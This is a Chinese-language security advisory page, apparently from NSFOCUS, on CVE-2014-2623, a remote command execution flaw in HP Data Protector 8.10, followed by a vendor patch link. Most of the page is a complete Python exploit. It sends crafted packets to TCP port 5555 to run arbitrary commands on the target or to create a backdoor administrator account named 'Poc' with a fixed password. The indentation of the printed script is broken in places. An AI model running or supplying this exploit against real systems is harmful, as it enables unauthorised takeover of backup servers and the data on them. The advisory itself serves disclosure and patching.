安全研究

安全漏洞
HP Data Protector 远程代码执行漏洞

发布日期:2014-07-14
更新日期:2014-07-16

受影响系统:
HP Data Protector 8.10
描述:
BUGTRAQ  ID: 68533
CVE(CAN) ID: CVE-2014-2623

HP Data Protector软件是企业环境中单个服务器自动备份和恢复的软件,支持磁盘存储或磁带存储目标。

HP Data Protector 8.10版本在实现上存在远程命令执行漏洞,当特制的命令发送到受影响设备的TCP 5555端口可触发此漏洞,导致在受影响应用中执行任意命令。

<*来源:Polunchis
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/python
  
# Exploit Title: HP-Data-Protector-8.10 Remote command execution.
# Date: July 11 2014
# Exploit Author: Christian (Polunchis) Ramirez https://intrusionlabs.org
# Exploit Author: Henoch (Chanoc) Barrera       https://intrusionlabs.org
# Contacts: polunchis@intrusionlabs.org and chanoc@intrusionlabs.org
# Version: HP Data Protector manager 8.10 the last version
# Vendor web page: http://www8.hp.com/mx/es/software-solutions/software.html?compURI=1175640#.U8DhWaU_BjF
# Tested on: Windows 2003, Windows 2008 and Windows 2012 all languages
# Thanks:To GOD for giving us wisdom      
# Description:
# A remote command execution is triggered when craft command is sent to the Hp Data Protector Manager to tcp port 5555.

import socket
import struct
import sys

#net user Poc l@bs.og /add
shellusr = ("\x00\x00\x01\x3c\xff\xfe\x32\x00\x00\x00\x20\x00\x68\x00\x70\x00"
"\x64\x00\x70\x00\x31\x00\x00\x00\x20\x00\x30\x00\x00\x00\x20\x00"
"\x00\x00\x20\x00\x00\x00\x20\x00\x45\x00\x4e\x00\x55\x00\x00\x00"
"\x20\x00\x31\x00\x31\x00\x00\x00\x20\x00\x45\x00\x58\x00\x45\x00"
"\x43\x00\x5f\x00\x42\x00\x41\x00\x52\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x63\x00\x3a\x00\x5c\x00\x77\x00\x69\x00"
"\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x73\x00\x79\x00"
"\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x63\x00"
"\x6d\x00\x64\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\x20\x00"
"\x00\x00\x20\x00\x2f\x00\x63\x00\x20\x00\x6e\x00\x65\x00\x74\x00"
"\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x50\x00\x6f\x00"
"\x63\x00\x20\x00\x6c\x00\x40\x00\x62\x00\x73\x00\x2e\x00\x6f\x00"
"\x67\x00\x20\x00\x2f\x00\x61\x00\x64\x00\x64\x00\x00\x00\x00\x00")

#net user local group Administrators Poc /add
shellgrp = ("\x00\x00\x01\x56\xff\xfe\x32\x00\x00\x00\x20\x00\x68\x00\x70\x00"
"\x64\x00\x70\x00\x31\x00\x00\x00\x20\x00\x30\x00\x00\x00\x20\x00"
"\x00\x00\x20\x00\x00\x00\x20\x00\x45\x00\x4e\x00\x55\x00\x00\x00"
"\x20\x00\x31\x00\x31\x00\x00\x00\x20\x00\x45\x00\x58\x00\x45\x00"
"\x43\x00\x5f\x00\x42\x00\x41\x00\x52\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x63\x00\x3a\x00\x5c\x00\x77\x00\x69\x00"
"\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x73\x00\x79\x00"
"\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x63\x00"
"\x6d\x00\x64\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\x20\x00"
"\x00\x00\x20\x00\x2f\x00\x63\x00\x20\x00\x6e\x00\x65\x00\x74\x00"
"\x20\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x67\x00\x72\x00"
"\x6f\x00\x75\x00\x70\x00\x20\x00\x41\x00\x64\x00\x6d\x00\x69\x00"
"\x6e\x00\x69\x00\x73\x00\x74\x00\x72\x00\x61\x00\x74\x00\x6f\x00"
"\x72\x00\x73\x00\x20\x00\x50\x00\x6f\x00\x63\x00\x20\x00\x2f\x00"
"\x61\x00\x64\x00\x64\x00\x00\x00\x00\x00")

def connect_target(target, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except socket.error as err:
        print
        "[-]Close Socket! CODE: %d MSG: %s" % (err[0], err[1])
        return -1

    try:
        sock.connect((target, port))
    except socket.error as err:
        print
        "[-] It cannot connect to the target! CODE: %d MSG: %s" % (err[0], err[1])
        return -1
    return sock

def send_recv_packet(sock, packet):
    sock.sendall(packet)
    res = sock.recv(4096)
    return res
print """
[*] https://intrusionlabs.org
"""
print "[*] Choose a valid option"
print """
[1] Run remote commands
[2] Add Poc user to Administrators group with password l@bs.og
"""
opcion= raw_input("Choose an option i.e.  1 or 2:  ")
if opcion.isdigit():
      opcion = int(opcion)

if opcion == 1:
ip_remota= raw_input("IP Address: ")
port= raw_input("Port: ")
command= raw_input("command: ")
if port.isdigit():
   port = int(port)
else:
     print "Please provide a tcp port"

objetivo = connect_target(ip_remota, port)
if objetivo == -1: exit()
    
OFFSET = 46
command = command.replace("\\", "\\\\")
command_tmno = chr(OFFSET + len(command))
shell = "\x00\x00\x00"   +\
     command_tmno         +\
     "\x32\x00\x01"       +\
     "\x01\x01\x01"       +\
     "\x01\x01\x00"       +\
     "\x01\x00\x01"       +\
     "\x00\x01\x00"       +\
     "\x01\x01\x00"       +\
     "\x2028\x00"         +\
     "\\\x70\x65\x72"     +\
     "\x6c\x2e\x65\x78"   +\
     "\x65\x00 \x2d\x65"  +\
     "\x73\x79\x73\x74\x65\x6d" +\
     "('%s')\x00" % command
print >> sys.stderr, "[+] Sending the payload with the command: '%s'" % command
datos = send_recv_packet(objetivo, shell)  # Parse the response back
print >> sys.stderr, "[+] Output:"
while True:
        # Get information about response
        tmno_respuesta = objetivo.recv(4)
        if not tmno_respuesta: break
        n = struct.unpack(">I", tmno_respuesta)[0]
        respuesta = objetivo.recv(n)
        respuesta = respuesta[5:].strip()
        respuesta = respuesta.replace("\n", "")
        respuesta = respuesta.replace("\x00", "")
        if respuesta.upper().find("*RETVAL*") != -1:
            break
        print respuesta
    
objetivo.close()
print >> sys.stderr, "print [!] Port close...\r"

elif opcion == 2:
ip_remota= raw_input("IP Address: ")
port= raw_input("\nPort: ")
if port.isdigit():
   port = int(port)
else:
     print "Please provide a tcp port"

print
"\n [*]Creating P0c user and try to add it to Administrators group"

#Get information about response
print "\n[*]Attempting to create Poc user and try to add it to Administrators group with password l@bs.og"
for packet in [shellusr, shellgrp]:
     target = connect_target(ip_remota, port)
     if target == -1: exit()
     data = send_recv_packet(target, packet)
     print "[*]SERVER RESPONSE: " + \
     data.split("\xFF\xFE\x31\x00\x35\x00\x00\x00\x20\x00")[1].lstrip("\x07\x00\x01\x00").rstrip("$")
     target.close()

else: print "Please provide a valid option i.e. 1 or 2"

建议:
厂商补丁:

HP
--
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

https://h20564.www2.hp.com/portal/site/hpsc/public/kb/
docDisplay?docId=emr_na-c04373818

浏览次数:2879
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障